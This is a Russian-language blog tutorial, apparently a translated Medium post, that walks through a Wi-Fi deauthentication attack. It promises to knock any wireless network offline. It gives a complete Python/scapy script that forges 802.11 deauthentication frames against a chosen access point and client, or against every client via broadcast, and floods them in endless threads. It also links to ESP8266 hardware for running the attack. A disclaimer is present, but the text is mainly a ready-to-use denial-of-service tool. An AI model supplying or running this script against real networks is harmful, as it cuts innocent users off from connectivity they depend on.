Вкратце: используя пару скриптов Python, вы можете взломать любую сеть Wi-Fi и полностью отключить ее. По сути, атака типа «отказ в обслуживании» против всех в этой сети или любого, кто попытается подключиться к ней в будущем.
Введение
Кадры деаутентификации — это специальные типы фреймов, которые используются в беспроводных сетях для отключения клиентского устройства от сети. В протоколе беспроводной сети 802.11 кадры отправляются точкой доступа (AP) на клиентское устройство (или наоборот), чтобы инициировать процесс отключения.
Однако хакеры и пен-тестеры нашли способы эмулировать клиентские устройства. Эти устройства отправляют на точку доступа так много кадров деаутентификации, что точка доступа фактически отключает все другие клиентские устройства и отказывается принимать любые новые подключения. Это называется "атака деаутентификации", и мы можем выполнить ее с любого устройства с сетевой картой, включая обычный компьютер!
По состоянию на конец 2022 года существуют методы обнаружения для атак с деаутентификацией, но не известны решения или конкретные методы предотвращения.
Отказ от ответственности: не выполняйте эту атаку злонамеренно; любая информация из этой статьи предназначена исключительно для информационных целей, и я не несу ответственности за ущерб любого рода или юридические осложнения, вызванные читателями этого сообщения.
Шаг за шагом
Злоумышленник может притвориться жертвой, используя ее MAC-адрес, а затем отправить кадр деаутентификации на точку доступа, чтобы отключить жертву от сеть. Инструмент aireplay-ng
полезен для выполнения этого типа атаки деаутентификации, которая включает в себя нарушение связи между устройством жертвы и точкой доступа.
Нам потребуется создать скрипт Python, чтобы прервать наше общение и предотвратить доступ клиента к сети. Создайте файл Python и назовите его «deauth.py
».
from scapy.all import * import shelve import sys import os from threading import Thread
Импортированные модули предоставляют инструменты для манипулирования пакетами, хранения данных (посредствомвзаимодействия с операционной системой) и создания и управление потоками в Python для управления задачами одновременно.
Далее добавьте следующие строки →
def main(): interface = "mon0" s = shelve.open("wireless_data.dat") print("Seq", "\tBSSID\t\t", "\tChannel", "SSID") keys = s.keys() list1 = [] for each in keys: list1.append(int(each)) list1.sort() for key in list1: key = str(key) print(key, "\t", s[key][0], "\t", s[key][1], "\t", s[key][2]) s.close()
Этот код определяет основную функцию, которая выполняет следующие задачи:
- Назначает строку «mon0» переменной «interface» (может потребоваться настройка)
- Открывает файл полки с именем «wireless_data.dat» и назначает результирующий объект переменной «s».
- Извлекает ключи из объекта полки и сохраняет их в списке под названием «ключи».
- Перебирает ключи в списке "ключи", приводя каждый ключ к целому числу и добавляя его в новый список "список1".
- Сортирует «список1», а затем перебирает отсортированные ключи в списке «список1», приводя каждый ключ обратно к строке и печатая ее вместе с соответствующими данными в объекте полки.
После этого используйте эти данные, чтобы обмануть точку доступа →
a = input("Enter the seq number of wifi ") r = shelve.open("wireless_data.dat") print("Are you Sure to attack on ", r[a][0], " ", r[a][2]) victim_mac = input("Enter the victim MAC or for broadcast press 0\ t ") if victim_mac == '0': victim_mac = "FF:FF:FF:FF:FF:FF"
Этот код предлагает пользователю ввести порядковый номер сети Wi-Fi, открывает файл полки с именем «wireless_data.dat» и распечатывает сообщение, содержащее данные, связанные с указанный порядковый номер из файла полки.
Затем пользователю предлагается ввести MAC-адрес жертвы или нажать «0» для трансляции. Если пользователь вводит «0», MAC-адрес жертвы устанавливается на широковещательный адрес «FF:FF:FF:FF:FF:FF».
Если вы выполнили этот шаг правильно, вы почти закончили!
cmd1 = "iwconfig wlan1 channel " + str(r[a][1]) cmd2 = "iwconfig mon0 channel " + str(r[a][1]) os.system(cmd1) os.system(cmd2) BSSID = r[a][0] frame = RadioTap() / Dot11(addr1 = BSSID, addr2 = victim_mac, addr3 = BSSID) / Dot11Deauth() frame1 = RadioTap() / Dot11(addr1 = victim_mac, addr2 = BSSID, addr3 = BSSID) / Dot11Deauth() if victim_mac != "FF:FF:FF:FF:FF:FF": t1 = Thread(target = for_ap, args = (frame, interface)) t1.start() t2 = Thread(target = for_client, args = (frame1, interface)) t2.start()
Этот сегмент кода выполняет несколько важных задач:
- Он устанавливает канал беспроводных интерфейсов «wlan1» и «mon0» на значение, хранящееся в файле полки под указанным порядковым номером.
- Он создает два фрейма деаутентификации, используя классы RadioTap, Dot11 и Dot11Deauth из библиотеки scapy. Поля «addr1», «addr2» и «addr3» заголовков «Dot11» устанавливаются на значения, хранящиеся в файле полки под указанным порядковым номером и MAC-адресом устройства жертвы.
- Он создает два потока, используя класс Thread из модуля threading. Первый поток создается с целевой функцией «for_ap» и аргументами «frame» и «interface». Второй поток создается с целевой функцией «for_client» и аргументами «frame1» и «interface».
Наконец, программа начнет атаку, используя t1.start()
или t2.start()
.
Мы также хотим убедиться, что этот код реализован, а затем завершим нашу программу деаутентификации Python →
def for_ap(frame, interface): while True: sendp(frame, iface = interface, count = 20, inter = .001) def for_client(frame, interface): while True: sendp(frame, iface = interface, count = 20, inter = .001) if __name__ == '__main__': main()
Вы также можете купить небольшую дешевую плату Arduino, чтобы весь этот скрипт выполнялся на машине, которая умещается в размер вашей руки →
Атака деаутентификации ESP8266 → Репозиторий ESP8266 SpaceHuhn на Github
ESP8266 Amazon → https://amzn.to/3v0TYnP (партнерская ссылка)
Не стесняйтесь обращаться по поводу функционала скрипта, способов улучшения программы и/или хотите реализовать его в различных областях безопасности. . Я хотел бы услышать ваши идеи!
Спасибо, что прочитали о взломе сетей Wi-Fi с помощью Python! Если вы хотите узнать больше о различных уязвимостях кибербезопасности и даже о взломе веб-сайтов, ознакомьтесь с разделом Серая зона»!
Поддержите меня как писателя (и получите доступ ко всем моим историям на Medium), подписавшись на членство в Medium с помощью моя реферальная ссылка →
Спасибо!